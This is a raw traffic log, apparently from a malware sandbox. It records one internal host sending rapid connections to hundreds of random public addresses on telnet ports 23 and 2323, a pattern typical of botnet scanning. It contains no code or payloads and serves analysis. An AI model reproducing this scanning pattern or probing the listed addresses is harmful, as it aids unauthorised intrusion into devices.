Dec 2, 2023 10:40:37.186011076 CET	50668	23	192.168.2.23	145.141.93.38
Dec 2, 2023 10:40:37.186022997 CET	50668	23	192.168.2.23	12.96.184.116
Dec 2, 2023 10:40:37.186029911 CET	50668	23	192.168.2.23	74.48.199.36
Dec 2, 2023 10:40:37.186032057 CET	50668	2323	192.168.2.23	179.232.156.190
Dec 2, 2023 10:40:37.186038017 CET	50668	23	192.168.2.23	74.6.53.55
Dec 2, 2023 10:40:37.186041117 CET	50668	23	192.168.2.23	88.137.151.241
Dec 2, 2023 10:40:37.186057091 CET	50668	23	192.168.2.23	47.160.183.12
Dec 2, 2023 10:40:37.186064005 CET	50668	23	192.168.2.23	5.15.249.75
Dec 2, 2023 10:40:37.186064005 CET	50668	23	192.168.2.23	107.2.183.80
Dec 2, 2023 10:40:37.186069012 CET	50668	23	192.168.2.23	126.186.213.10
Dec 2, 2023 10:40:37.186075926 CET	50668	23	192.168.2.23	41.195.163.19
Dec 2, 2023 10:40:37.186077118 CET	50668	23	192.168.2.23	136.41.156.157
Dec 2, 2023 10:40:37.186077118 CET	50668	23	192.168.2.23	171.72.219.163
Dec 2, 2023 10:40:37.186080933 CET	50668	23	192.168.2.23	195.213.56.222
Dec 2, 2023 10:40:37.186094999 CET	50668	23	192.168.2.23	200.154.95.234
Dec 2, 2023 10:40:37.186095953 CET	50668	23	192.168.2.23	216.85.212.128
Dec 2, 2023 10:40:37.186098099 CET	50668	2323	192.168.2.23	118.197.207.122
Dec 2, 2023 10:40:37.186098099 CET	50668	23	192.168.2.23	78.125.139.175
Dec 2, 2023 10:40:37.186098099 CET	50668	23	192.168.2.23	85.187.214.253
Dec 2, 2023 10:40:37.186105013 CET	50668	23	192.168.2.23	135.128.89.36
Dec 2, 2023 10:40:37.186146975 CET	50668	23	192.168.2.23	189.66.201.214
Dec 2, 2023 10:40:37.186151028 CET	50668	23	192.168.2.23	201.128.217.202
Dec 2, 2023 10:40:37.186155081 CET	50668	23	192.168.2.23	57.55.252.147
Dec 2, 2023 10:40:37.186156034 CET	50668	23	192.168.2.23	18.37.194.147
Dec 2, 2023 10:40:37.186156988 CET	50668	2323	192.168.2.23	157.222.197.12
Dec 2, 2023 10:40:37.186157942 CET	50668	23	192.168.2.23	97.201.36.2
Dec 2, 2023 10:40:37.186165094 CET	50668	23	192.168.2.23	159.186.180.205
Dec 2, 2023 10:40:37.186163902 CET	50668	23	192.168.2.23	179.185.129.204
Dec 2, 2023 10:40:37.186186075 CET	50668	23	192.168.2.23	41.86.15.80
Dec 2, 2023 10:40:37.186187029 CET	50668	23	192.168.2.23	162.91.209.141
Dec 2, 2023 10:40:37.186186075 CET	50668	23	192.168.2.23	59.125.83.164
Dec 2, 2023 10:40:37.186187029 CET	50668	23	192.168.2.23	112.218.178.223
Dec 2, 2023 10:40:37.186199903 CET	50668	23	192.168.2.23	169.195.42.220
Dec 2, 2023 10:40:37.186203957 CET	50668	23	192.168.2.23	175.134.18.79
Dec 2, 2023 10:40:37.186203957 CET	50668	2323	192.168.2.23	110.20.71.144
Dec 2, 2023 10:40:37.186204910 CET	50668	23	192.168.2.23	185.20.35.201
Dec 2, 2023 10:40:37.186219931 CET	50668	23	192.168.2.23	118.114.157.95
Dec 2, 2023 10:40:37.186229944 CET	50668	23	192.168.2.23	217.130.48.52
Dec 2, 2023 10:40:37.186229944 CET	50668	23	192.168.2.23	118.174.27.147
Dec 2, 2023 10:40:37.186235905 CET	50668	23	192.168.2.23	119.15.164.114
Dec 2, 2023 10:40:37.186235905 CET	50668	23	192.168.2.23	189.186.3.110
Dec 2, 2023 10:40:37.186238050 CET	50668	23	192.168.2.23	212.208.54.15
Dec 2, 2023 10:40:37.186238050 CET	50668	23	192.168.2.23	209.163.77.109
Dec 2, 2023 10:40:37.186245918 CET	50668	23	192.168.2.23	39.226.100.27
Dec 2, 2023 10:40:37.186249018 CET	50668	23	192.168.2.23	126.28.2.174
Dec 2, 2023 10:40:37.186250925 CET	50668	23	192.168.2.23	105.219.180.100
Dec 2, 2023 10:40:37.186261892 CET	50668	23	192.168.2.23	176.147.38.178
Dec 2, 2023 10:40:37.186265945 CET	50668	2323	192.168.2.23	184.65.71.211
Dec 2, 2023 10:40:37.186270952 CET	50668	23	192.168.2.23	168.241.102.109
Dec 2, 2023 10:40:37.186281919 CET	50668	23	192.168.2.23	183.158.78.78
Dec 2, 2023 10:40:37.186281919 CET	50668	23	192.168.2.23	35.147.117.18
Dec 2, 2023 10:40:37.186283112 CET	50668	23	192.168.2.23	71.230.80.158
Dec 2, 2023 10:40:37.186300993 CET	50668	23	192.168.2.23	60.100.19.8
Dec 2, 2023 10:40:37.186306000 CET	50668	23	192.168.2.23	5.143.127.185
Dec 2, 2023 10:40:37.186307907 CET	50668	23	192.168.2.23	37.111.158.7
Dec 2, 2023 10:40:37.186307907 CET	50668	23	192.168.2.23	217.125.247.128
Dec 2, 2023 10:40:37.186309099 CET	50668	2323	192.168.2.23	182.213.43.225
Dec 2, 2023 10:40:37.186310053 CET	50668	23	192.168.2.23	115.241.152.31
Dec 2, 2023 10:40:37.186321020 CET	50668	23	192.168.2.23	105.212.9.172
Dec 2, 2023 10:40:37.186321974 CET	50668	23	192.168.2.23	163.94.137.248
Dec 2, 2023 10:40:37.186323881 CET	50668	23	192.168.2.23	113.200.124.164
Dec 2, 2023 10:40:37.186331987 CET	50668	23	192.168.2.23	32.173.152.228
Dec 2, 2023 10:40:37.186347008 CET	50668	23	192.168.2.23	43.66.238.67
Dec 2, 2023 10:40:37.186347961 CET	50668	2323	192.168.2.23	119.255.200.234
Dec 2, 2023 10:40:37.186355114 CET	50668	23	192.168.2.23	149.163.216.137
Dec 2, 2023 10:40:37.186355114 CET	50668	23	192.168.2.23	124.7.205.34
Dec 2, 2023 10:40:37.186361074 CET	50668	23	192.168.2.23	165.72.124.151
Dec 2, 2023 10:40:37.186361074 CET	50668	23	192.168.2.23	36.177.143.178
Dec 2, 2023 10:40:37.186362982 CET	50668	23	192.168.2.23	148.63.59.124
Dec 2, 2023 10:40:37.186366081 CET	50668	23	192.168.2.23	31.151.115.50
Dec 2, 2023 10:40:37.186371088 CET	50668	23	192.168.2.23	190.177.167.223
Dec 2, 2023 10:40:37.186392069 CET	50668	23	192.168.2.23	97.85.69.249
Dec 2, 2023 10:40:37.186392069 CET	50668	23	192.168.2.23	221.108.223.116
Dec 2, 2023 10:40:37.186393023 CET	50668	23	192.168.2.23	109.134.124.99
Dec 2, 2023 10:40:37.186393023 CET	50668	23	192.168.2.23	103.133.191.181
Dec 2, 2023 10:40:37.186408043 CET	50668	23	192.168.2.23	84.102.61.162
Dec 2, 2023 10:40:37.186408043 CET	50668	23	192.168.2.23	125.22.74.59
Dec 2, 2023 10:40:37.186408997 CET	50668	23	192.168.2.23	105.7.127.200
Dec 2, 2023 10:40:37.186408043 CET	50668	23	192.168.2.23	205.150.214.251
Dec 2, 2023 10:40:37.186428070 CET	50668	2323	192.168.2.23	189.199.51.10
Dec 2, 2023 10:40:37.186428070 CET	50668	23	192.168.2.23	160.97.32.0
Dec 2, 2023 10:40:37.186438084 CET	50668	23	192.168.2.23	151.98.106.239
Dec 2, 2023 10:40:37.186444044 CET	50668	23	192.168.2.23	162.0.231.127
Dec 2, 2023 10:40:37.186450958 CET	50668	23	192.168.2.23	113.72.160.17
Dec 2, 2023 10:40:37.186454058 CET	50668	2323	192.168.2.23	117.75.39.163
Dec 2, 2023 10:40:37.186454058 CET	50668	23	192.168.2.23	116.30.81.214
Dec 2, 2023 10:40:37.186463118 CET	50668	23	192.168.2.23	17.42.28.245
Dec 2, 2023 10:40:37.186484098 CET	50668	23	192.168.2.23	143.8.166.103
Dec 2, 2023 10:40:37.186487913 CET	50668	23	192.168.2.23	111.179.102.210
Dec 2, 2023 10:40:37.186487913 CET	50668	23	192.168.2.23	184.158.251.108
Dec 2, 2023 10:40:37.186495066 CET	50668	23	192.168.2.23	179.94.159.244
Dec 2, 2023 10:40:37.186501026 CET	50668	23	192.168.2.23	173.48.224.114
Dec 2, 2023 10:40:37.186506033 CET	50668	23	192.168.2.23	146.12.192.45
Dec 2, 2023 10:40:37.186521053 CET	50668	2323	192.168.2.23	148.189.205.228
Dec 2, 2023 10:40:37.186522961 CET	50668	23	192.168.2.23	78.99.184.226
Dec 2, 2023 10:40:37.186523914 CET	50668	23	192.168.2.23	169.45.119.239
Dec 2, 2023 10:40:37.186525106 CET	50668	23	192.168.2.23	60.102.163.15
Dec 2, 2023 10:40:37.186534882 CET	50668	23	192.168.2.23	159.27.205.76
Dec 2, 2023 10:40:37.186543941 CET	50668	23	192.168.2.23	67.107.25.112
Dec 2, 2023 10:40:37.186558008 CET	50668	23	192.168.2.23	186.119.76.1
Dec 2, 2023 10:40:37.186558008 CET	50668	23	192.168.2.23	118.247.51.42
Dec 2, 2023 10:40:37.186559916 CET	50668	23	192.168.2.23	1.245.227.123
Dec 2, 2023 10:40:37.186559916 CET	50668	23	192.168.2.23	8.50.247.210
Dec 2, 2023 10:40:37.186558008 CET	50668	23	192.168.2.23	14.180.66.192
Dec 2, 2023 10:40:37.186558008 CET	50668	23	192.168.2.23	113.249.23.23
Dec 2, 2023 10:40:37.186558962 CET	50668	2323	192.168.2.23	92.98.134.135
Dec 2, 2023 10:40:37.186572075 CET	50668	23	192.168.2.23	87.232.68.199
Dec 2, 2023 10:40:37.186580896 CET	50668	23	192.168.2.23	220.101.109.120
Dec 2, 2023 10:40:37.186580896 CET	50668	23	192.168.2.23	168.180.211.8
Dec 2, 2023 10:40:37.186589956 CET	50668	23	192.168.2.23	76.67.66.209
Dec 2, 2023 10:40:37.186592102 CET	50668	23	192.168.2.23	161.209.231.221
Dec 2, 2023 10:40:37.186594009 CET	50668	23	192.168.2.23	102.50.5.178
Dec 2, 2023 10:40:37.186620951 CET	50668	2323	192.168.2.23	188.17.178.132
Dec 2, 2023 10:40:37.186620951 CET	50668	23	192.168.2.23	219.153.150.37
Dec 2, 2023 10:40:37.186620951 CET	50668	23	192.168.2.23	1.236.180.161
Dec 2, 2023 10:40:37.186621904 CET	50668	23	192.168.2.23	170.162.61.90
Dec 2, 2023 10:40:37.186620951 CET	50668	23	192.168.2.23	175.58.167.18
Dec 2, 2023 10:40:37.186621904 CET	50668	23	192.168.2.23	194.106.83.233
Dec 2, 2023 10:40:37.186634064 CET	50668	23	192.168.2.23	42.37.0.102
Dec 2, 2023 10:40:37.186635971 CET	50668	23	192.168.2.23	48.102.38.26
Dec 2, 2023 10:40:37.186638117 CET	50668	23	192.168.2.23	44.5.242.57
Dec 2, 2023 10:40:37.186650991 CET	50668	23	192.168.2.23	101.54.127.124
Dec 2, 2023 10:40:37.186678886 CET	50668	23	192.168.2.23	153.118.20.101
Dec 2, 2023 10:40:37.186678886 CET	50668	2323	192.168.2.23	77.187.59.174
Dec 2, 2023 10:40:37.186682940 CET	50668	23	192.168.2.23	60.83.106.187
Dec 2, 2023 10:40:37.186686039 CET	50668	23	192.168.2.23	32.39.41.169
Dec 2, 2023 10:40:37.186691046 CET	50668	23	192.168.2.23	69.103.75.146
Dec 2, 2023 10:40:37.186691046 CET	50668	23	192.168.2.23	119.231.28.95
Dec 2, 2023 10:40:37.186693907 CET	50668	23	192.168.2.23	182.5.217.123
Dec 2, 2023 10:40:37.186698914 CET	50668	23	192.168.2.23	206.40.7.128
Dec 2, 2023 10:40:37.186712027 CET	50668	23	192.168.2.23	8.55.107.13
Dec 2, 2023 10:40:37.186712980 CET	50668	23	192.168.2.23	148.205.215.36
Dec 2, 2023 10:40:37.186721087 CET	50668	23	192.168.2.23	161.97.206.77
Dec 2, 2023 10:40:37.186719894 CET	50668	23	192.168.2.23	41.149.219.131
Dec 2, 2023 10:40:37.385154009 CET	23	50668	217.211.39.45	192.168.2.23
Dec 2, 2023 10:40:37.451529026 CET	23	50668	60.100.19.8	192.168.2.23
Dec 2, 2023 10:40:38.187772036 CET	50668	2323	192.168.2.23	102.95.122.41
Dec 2, 2023 10:40:38.187798023 CET	50668	23	192.168.2.23	18.94.129.250
Dec 2, 2023 10:40:38.187798023 CET	50668	23	192.168.2.23	133.60.32.238
Dec 2, 2023 10:40:38.187819004 CET	50668	23	192.168.2.23	1.68.137.227
Dec 2, 2023 10:40:38.187827110 CET	50668	23	192.168.2.23	110.169.144.19
Dec 2, 2023 10:40:38.187832117 CET	50668	23	192.168.2.23	79.23.180.251
Dec 2, 2023 10:40:38.187865019 CET	50668	23	192.168.2.23	193.112.169.33
Dec 2, 2023 10:40:38.187865019 CET	50668	23	192.168.2.23	32.120.85.129
Dec 2, 2023 10:40:38.187869072 CET	50668	23	192.168.2.23	178.152.170.110
Dec 2, 2023 10:40:38.187865019 CET	50668	23	192.168.2.23	63.41.187.144
Dec 2, 2023 10:40:38.187869072 CET	50668	23	192.168.2.23	20.33.171.128
Dec 2, 2023 10:40:38.187865019 CET	50668	2323	192.168.2.23	154.251.22.16
Dec 2, 2023 10:40:38.187916040 CET	50668	23	192.168.2.23	32.28.150.243
Dec 2, 2023 10:40:38.187916040 CET	50668	23	192.168.2.23	46.12.147.93
Dec 2, 2023 10:40:38.187916040 CET	50668	23	192.168.2.23	117.5.96.176
Dec 2, 2023 10:40:38.187927008 CET	50668	23	192.168.2.23	145.113.23.32
Dec 2, 2023 10:40:38.187942028 CET	50668	23	192.168.2.23	222.107.243.42
Dec 2, 2023 10:40:38.187972069 CET	50668	23	192.168.2.23	115.223.236.198
Dec 2, 2023 10:40:38.187973022 CET	50668	23	192.168.2.23	14.212.66.210
Dec 2, 2023 10:40:38.187978983 CET	50668	23	192.168.2.23	133.114.70.238
Dec 2, 2023 10:40:38.188026905 CET	50668	23	192.168.2.23	203.129.85.2
Dec 2, 2023 10:40:38.188061953 CET	50668	23	192.168.2.23	147.90.168.174
Dec 2, 2023 10:40:38.188071012 CET	50668	23	192.168.2.23	186.154.185.172
Dec 2, 2023 10:40:38.188100100 CET	50668	23	192.168.2.23	198.138.7.115
Dec 2, 2023 10:40:38.188100100 CET	50668	23	192.168.2.23	173.59.96.251
Dec 2, 2023 10:40:38.188103914 CET	50668	23	192.168.2.23	106.119.244.146
Dec 2, 2023 10:40:38.188112020 CET	50668	2323	192.168.2.23	68.100.117.43
Dec 2, 2023 10:40:38.188114882 CET	50668	23	192.168.2.23	86.21.85.147
Dec 2, 2023 10:40:38.188134909 CET	50668	23	192.168.2.23	80.33.233.238
Dec 2, 2023 10:40:38.188134909 CET	50668	23	192.168.2.23	183.23.9.13
Dec 2, 2023 10:40:38.188137054 CET	50668	23	192.168.2.23	17.4.13.44
Dec 2, 2023 10:40:38.188150883 CET	50668	23	192.168.2.23	12.32.172.209
Dec 2, 2023 10:40:38.188150883 CET	50668	23	192.168.2.23	100.37.210.53
Dec 2, 2023 10:40:38.188150883 CET	50668	23	192.168.2.23	116.159.104.129
Dec 2, 2023 10:40:38.188157082 CET	50668	2323	192.168.2.23	172.212.144.248
Dec 2, 2023 10:40:38.188157082 CET	50668	23	192.168.2.23	48.116.44.88
Dec 2, 2023 10:40:38.188193083 CET	50668	23	192.168.2.23	92.78.145.7
Dec 2, 2023 10:40:38.188199997 CET	50668	23	192.168.2.23	130.249.177.202
Dec 2, 2023 10:40:38.188309908 CET	50668	2323	192.168.2.23	34.232.251.197
Dec 2, 2023 10:40:38.188312054 CET	50668	23	192.168.2.23	150.45.22.52
Dec 2, 2023 10:40:38.188323975 CET	50668	23	192.168.2.23	20.232.144.68
Dec 2, 2023 10:40:38.188323975 CET	50668	23	192.168.2.23	202.13.10.69
Dec 2, 2023 10:40:38.188323975 CET	50668	23	192.168.2.23	87.27.204.58
Dec 2, 2023 10:40:38.188337088 CET	50668	23	192.168.2.23	89.118.195.18
Dec 2, 2023 10:40:38.188345909 CET	50668	23	192.168.2.23	74.144.94.166
Dec 2, 2023 10:40:38.188357115 CET	50668	23	192.168.2.23	65.136.31.193
Dec 2, 2023 10:40:38.188358068 CET	50668	23	192.168.2.23	117.216.75.114
Dec 2, 2023 10:40:38.188364029 CET	50668	23	192.168.2.23	124.154.3.133
Dec 2, 2023 10:40:38.188384056 CET	50668	2323	192.168.2.23	198.116.95.129
Dec 2, 2023 10:40:38.188390017 CET	50668	23	192.168.2.23	121.96.247.59
Dec 2, 2023 10:40:38.188394070 CET	50668	23	192.168.2.23	148.216.67.31
Dec 2, 2023 10:40:38.188406944 CET	50668	23	192.168.2.23	66.128.237.11
Dec 2, 2023 10:40:38.188409090 CET	50668	23	192.168.2.23	198.193.0.85
Dec 2, 2023 10:40:38.188431978 CET	50668	23	192.168.2.23	1.79.242.52
Dec 2, 2023 10:40:38.188433886 CET	50668	23	192.168.2.23	169.254.76.167
Dec 2, 2023 10:40:38.188438892 CET	50668	23	192.168.2.23	123.87.71.208
Dec 2, 2023 10:40:38.188445091 CET	50668	23	192.168.2.23	82.150.94.196
Dec 2, 2023 10:40:38.188445091 CET	50668	23	192.168.2.23	185.180.205.230
Dec 2, 2023 10:40:38.188472986 CET	50668	23	192.168.2.23	2.231.108.50
Dec 2, 2023 10:40:38.188479900 CET	50668	2323	192.168.2.23	77.158.66.254
Dec 2, 2023 10:40:38.188479900 CET	50668	23	192.168.2.23	135.98.178.242
Dec 2, 2023 10:40:38.188479900 CET	50668	23	192.168.2.23	66.224.87.58
Dec 2, 2023 10:40:38.188508987 CET	50668	23	192.168.2.23	212.241.51.163
Dec 2, 2023 10:40:38.188508987 CET	50668	23	192.168.2.23	61.232.75.227
Dec 2, 2023 10:40:38.188508987 CET	50668	23	192.168.2.23	165.1.252.92
Dec 2, 2023 10:40:38.188523054 CET	50668	23	192.168.2.23	185.232.222.7
Dec 2, 2023 10:40:38.188523054 CET	50668	23	192.168.2.23	220.130.237.4
Dec 2, 2023 10:40:38.188524961 CET	50668	23	192.168.2.23	113.229.61.213
Dec 2, 2023 10:40:38.188523054 CET	50668	2323	192.168.2.23	109.47.5.76
Dec 2, 2023 10:40:38.188523054 CET	50668	23	192.168.2.23	192.183.201.4
Dec 2, 2023 10:40:38.188550949 CET	50668	23	192.168.2.23	166.114.199.184
Dec 2, 2023 10:40:38.188587904 CET	50668	23	192.168.2.23	59.5.121.255
Dec 2, 2023 10:40:38.188589096 CET	50668	23	192.168.2.23	169.108.97.21
Dec 2, 2023 10:40:38.188589096 CET	50668	23	192.168.2.23	72.51.151.244
Dec 2, 2023 10:40:38.188591957 CET	50668	23	192.168.2.23	163.196.201.243
Dec 2, 2023 10:40:38.188597918 CET	50668	23	192.168.2.23	188.214.195.240
Dec 2, 2023 10:40:38.188597918 CET	50668	23	192.168.2.23	124.111.141.251
Dec 2, 2023 10:40:38.188599110 CET	50668	23	192.168.2.23	221.70.207.181
Dec 2, 2023 10:40:38.188600063 CET	50668	23	192.168.2.23	120.224.137.140
Dec 2, 2023 10:40:38.188600063 CET	50668	23	192.168.2.23	175.66.58.48
Dec 2, 2023 10:40:38.188667059 CET	50668	2323	192.168.2.23	164.110.68.53
Dec 2, 2023 10:40:38.188688040 CET	50668	23	192.168.2.23	116.254.175.25
Dec 2, 2023 10:40:38.188688040 CET	50668	23	192.168.2.23	71.49.0.186
Dec 2, 2023 10:40:38.188689947 CET	50668	23	192.168.2.23	201.36.38.199
Dec 2, 2023 10:40:38.188689947 CET	50668	23	192.168.2.23	20.75.14.107
Dec 2, 2023 10:40:38.188694000 CET	50668	23	192.168.2.23	112.88.127.234
Dec 2, 2023 10:40:38.188703060 CET	50668	23	192.168.2.23	62.132.67.92
Dec 2, 2023 10:40:38.188714027 CET	50668	23	192.168.2.23	163.231.243.93
Dec 2, 2023 10:40:38.188719988 CET	50668	23	192.168.2.23	103.31.93.13
Dec 2, 2023 10:40:38.188719988 CET	50668	23	192.168.2.23	196.254.143.123
Dec 2, 2023 10:40:38.188740015 CET	50668	23	192.168.2.23	182.195.1.216
Dec 2, 2023 10:40:38.188750029 CET	50668	23	192.168.2.23	178.116.99.202
Dec 2, 2023 10:40:38.188750982 CET	50668	23	192.168.2.23	111.33.234.35
Dec 2, 2023 10:40:38.188766956 CET	50668	23	192.168.2.23	173.147.114.46
Dec 2, 2023 10:40:38.188766956 CET	50668	2323	192.168.2.23	43.26.221.105
Dec 2, 2023 10:40:38.188766956 CET	50668	23	192.168.2.23	84.111.199.166
Dec 2, 2023 10:40:38.188766956 CET	50668	23	192.168.2.23	223.81.47.33
Dec 2, 2023 10:40:38.188792944 CET	50668	23	192.168.2.23	205.230.8.239
Dec 2, 2023 10:40:38.188796997 CET	50668	23	192.168.2.23	188.22.141.45
Dec 2, 2023 10:40:38.188802958 CET	50668	23	192.168.2.23	109.51.197.104
Dec 2, 2023 10:40:38.188807011 CET	50668	23	192.168.2.23	222.116.158.139
Dec 2, 2023 10:40:38.188822031 CET	50668	23	192.168.2.23	168.36.62.246
Dec 2, 2023 10:40:38.188824892 CET	50668	23	192.168.2.23	74.81.112.242
Dec 2, 2023 10:40:38.188828945 CET	50668	23	192.168.2.23	177.131.91.200
Dec 2, 2023 10:40:38.188828945 CET	50668	2323	192.168.2.23	124.226.17.156
Dec 2, 2023 10:40:38.188828945 CET	50668	23	192.168.2.23	104.71.137.139
Dec 2, 2023 10:40:38.188828945 CET	50668	23	192.168.2.23	160.207.38.161
Dec 2, 2023 10:40:38.188848972 CET	50668	23	192.168.2.23	145.14.66.96
Dec 2, 2023 10:40:38.188853979 CET	50668	23	192.168.2.23	206.233.36.85
Dec 2, 2023 10:40:38.188867092 CET	50668	23	192.168.2.23	187.194.236.162
Dec 2, 2023 10:40:38.188875914 CET	50668	2323	192.168.2.23	53.107.111.50
Dec 2, 2023 10:40:38.188877106 CET	50668	23	192.168.2.23	208.211.144.166
Dec 2, 2023 10:40:38.188893080 CET	50668	23	192.168.2.23	59.247.74.3
Dec 2, 2023 10:40:38.188894033 CET	50668	23	192.168.2.23	157.106.169.182
Dec 2, 2023 10:40:38.188906908 CET	50668	23	192.168.2.23	194.155.96.231
Dec 2, 2023 10:40:38.188920021 CET	50668	23	192.168.2.23	74.32.176.115
Dec 2, 2023 10:40:38.188921928 CET	50668	23	192.168.2.23	206.91.211.181
Dec 2, 2023 10:40:38.188921928 CET	50668	23	192.168.2.23	180.111.46.25
Dec 2, 2023 10:40:38.188925982 CET	50668	23	192.168.2.23	182.34.128.181
Dec 2, 2023 10:40:38.188932896 CET	50668	2323	192.168.2.23	1.208.186.85
Dec 2, 2023 10:40:38.188944101 CET	50668	23	192.168.2.23	46.104.92.196
Dec 2, 2023 10:40:38.188951015 CET	50668	23	192.168.2.23	80.231.244.142
Dec 2, 2023 10:40:38.188951015 CET	50668	23	192.168.2.23	95.26.235.53
Dec 2, 2023 10:40:38.188961983 CET	50668	23	192.168.2.23	27.186.177.50
Dec 2, 2023 10:40:38.188973904 CET	50668	23	192.168.2.23	112.160.190.19
Dec 2, 2023 10:40:38.188985109 CET	50668	23	192.168.2.23	167.109.85.3
Dec 2, 2023 10:40:38.188987017 CET	50668	23	192.168.2.23	44.236.68.249
Dec 2, 2023 10:40:38.189006090 CET	50668	23	192.168.2.23	204.44.85.102
Dec 2, 2023 10:40:38.189013004 CET	50668	2323	192.168.2.23	37.31.150.26
Dec 2, 2023 10:40:38.189013004 CET	50668	23	192.168.2.23	64.249.206.124
Dec 2, 2023 10:40:38.189017057 CET	50668	23	192.168.2.23	192.235.102.110
Dec 2, 2023 10:40:38.189018965 CET	50668	23	192.168.2.23	157.133.222.172
Dec 2, 2023 10:40:38.189039946 CET	50668	23	192.168.2.23	17.93.98.36
Dec 2, 2023 10:40:38.189047098 CET	50668	23	192.168.2.23	17.172.62.164
Dec 2, 2023 10:40:38.189062119 CET	50668	23	192.168.2.23	20.12.186.96
Dec 2, 2023 10:40:38.189062119 CET	50668	23	192.168.2.23	9.105.62.27
Dec 2, 2023 10:40:38.189086914 CET	50668	2323	192.168.2.23	103.85.139.164
Dec 2, 2023 10:40:38.189100981 CET	50668	23	192.168.2.23	78.217.193.19
Dec 2, 2023 10:40:38.189109087 CET	50668	23	192.168.2.23	179.62.10.231
Dec 2, 2023 10:40:38.189119101 CET	50668	23	192.168.2.23	156.236.142.0
Dec 2, 2023 10:40:38.189124107 CET	50668	23	192.168.2.23	81.20.57.158
Dec 2, 2023 10:40:38.189124107 CET	50668	23	192.168.2.23	73.152.229.127
Dec 2, 2023 10:40:38.189124107 CET	50668	23	192.168.2.23	69.198.72.65
Dec 2, 2023 10:40:38.189125061 CET	50668	23	192.168.2.23	94.124.56.115
Dec 2, 2023 10:40:38.189125061 CET	50668	23	192.168.2.23	63.154.45.12
Dec 2, 2023 10:40:38.189131975 CET	50668	23	192.168.2.23	120.68.253.84
Dec 2, 2023 10:40:38.189146042 CET	50668	23	192.168.2.23	20.236.166.103
Dec 2, 2023 10:40:38.189153910 CET	50668	23	192.168.2.23	42.254.173.246
Dec 2, 2023 10:40:38.189183950 CET	50668	23	192.168.2.23	123.234.138.162
Dec 2, 2023 10:40:38.189186096 CET	50668	23	192.168.2.23	37.219.36.215
Dec 2, 2023 10:40:38.189186096 CET	50668	23	192.168.2.23	41.7.225.107
Dec 2, 2023 10:40:38.189187050 CET	50668	2323	192.168.2.23	118.85.221.5
Dec 2, 2023 10:40:38.189192057 CET	50668	23	192.168.2.23	96.36.165.144
Dec 2, 2023 10:40:38.189193964 CET	50668	23	192.168.2.23	167.172.226.179
Dec 2, 2023 10:40:38.189194918 CET	50668	23	192.168.2.23	179.39.102.142
Dec 2, 2023 10:40:38.189203024 CET	50668	23	192.168.2.23	205.254.174.12
Dec 2, 2023 10:40:38.189210892 CET	50668	23	192.168.2.23	60.244.1.171
Dec 2, 2023 10:40:38.189220905 CET	50668	23	192.168.2.23	208.80.57.31
Dec 2, 2023 10:40:38.189266920 CET	50668	23	192.168.2.23	97.4.153.27
Dec 2, 2023 10:40:38.189755917 CET	50668	23	192.168.2.23	185.254.192.156
Dec 2, 2023 10:40:38.402802944 CET	23	50668	185.254.192.156	192.168.2.23
Dec 2, 2023 10:40:39.190324068 CET	50668	2323	192.168.2.23	99.52.2.222
Dec 2, 2023 10:40:39.190346956 CET	50668	23	192.168.2.23	48.222.9.64
Dec 2, 2023 10:40:39.190386057 CET	50668	23	192.168.2.23	217.221.226.152
Dec 2, 2023 10:40:39.190393925 CET	50668	23	192.168.2.23	66.23.9.152
Dec 2, 2023 10:40:39.190393925 CET	50668	23	192.168.2.23	99.19.208.42
Dec 2, 2023 10:40:39.190395117 CET	50668	23	192.168.2.23	37.191.10.35
Dec 2, 2023 10:40:39.190396070 CET	50668	23	192.168.2.23	91.135.148.231
Dec 2, 2023 10:40:39.190399885 CET	50668	23	192.168.2.23	32.166.220.132
Dec 2, 2023 10:40:39.190396070 CET	50668	23	192.168.2.23	4.144.142.36
Dec 2, 2023 10:40:39.190395117 CET	50668	23	192.168.2.23	36.202.53.186
Dec 2, 2023 10:40:39.190416098 CET	50668	2323	192.168.2.23	85.218.244.56
Dec 2, 2023 10:40:39.190434933 CET	50668	23	192.168.2.23	80.178.204.198
Dec 2, 2023 10:40:39.190435886 CET	50668	23	192.168.2.23	2.86.196.205
Dec 2, 2023 10:40:39.190443039 CET	50668	23	192.168.2.23	148.81.163.251
Dec 2, 2023 10:40:39.190442085 CET	50668	23	192.168.2.23	202.245.48.0
Dec 2, 2023 10:40:39.190458059 CET	50668	23	192.168.2.23	59.37.99.179
Dec 2, 2023 10:40:39.190471888 CET	50668	23	192.168.2.23	44.10.72.133
Dec 2, 2023 10:40:39.190485001 CET	50668	23	192.168.2.23	147.107.189.10
Dec 2, 2023 10:40:39.190488100 CET	50668	23	192.168.2.23	94.66.115.157
Dec 2, 2023 10:40:39.190495014 CET	50668	23	192.168.2.23	146.126.34.50
Dec 2, 2023 10:40:39.190505981 CET	50668	2323	192.168.2.23	217.214.76.212
Dec 2, 2023 10:40:39.190529108 CET	50668	23	192.168.2.23	66.201.96.196
Dec 2, 2023 10:40:39.190530062 CET	50668	23	192.168.2.23	116.181.24.92
Dec 2, 2023 10:40:39.190532923 CET	50668	23	192.168.2.23	17.161.135.75
Dec 2, 2023 10:40:39.190551043 CET	50668	23	192.168.2.23	141.233.155.22
Dec 2, 2023 10:40:39.190560102 CET	50668	23	192.168.2.23	130.36.4.158
Dec 2, 2023 10:40:39.190567970 CET	50668	23	192.168.2.23	73.229.213.101
Dec 2, 2023 10:40:39.190577984 CET	50668	23	192.168.2.23	171.139.49.168
Dec 2, 2023 10:40:39.190587044 CET	50668	23	192.168.2.23	160.242.42.240
Dec 2, 2023 10:40:39.190596104 CET	50668	23	192.168.2.23	75.255.249.180
Dec 2, 2023 10:40:39.190608025 CET	50668	2323	192.168.2.23	156.225.219.213
Dec 2, 2023 10:40:39.190618992 CET	50668	23	192.168.2.23	193.150.48.252
Dec 2, 2023 10:40:39.190634012 CET	50668	23	192.168.2.23	149.18.54.232
Dec 2, 2023 10:40:39.190639973 CET	50668	23	192.168.2.23	223.78.80.86
Dec 2, 2023 10:40:39.190644979 CET	50668	23	192.168.2.23	71.24.63.178
Dec 2, 2023 10:40:39.190674067 CET	50668	23	192.168.2.23	154.56.252.178
Dec 2, 2023 10:40:39.190675020 CET	50668	23	192.168.2.23	13.76.165.58
Dec 2, 2023 10:40:39.190675020 CET	50668	23	192.168.2.23	173.56.35.242
Dec 2, 2023 10:40:39.190695047 CET	50668	23	192.168.2.23	150.58.115.6
Dec 2, 2023 10:40:39.190697908 CET	50668	23	192.168.2.23	53.75.242.185
Dec 2, 2023 10:40:39.190712929 CET	50668	23	192.168.2.23	187.81.93.205
Dec 2, 2023 10:40:39.190715075 CET	50668	2323	192.168.2.23	183.172.172.25
Dec 2, 2023 10:40:39.190725088 CET	50668	23	192.168.2.23	91.227.188.16
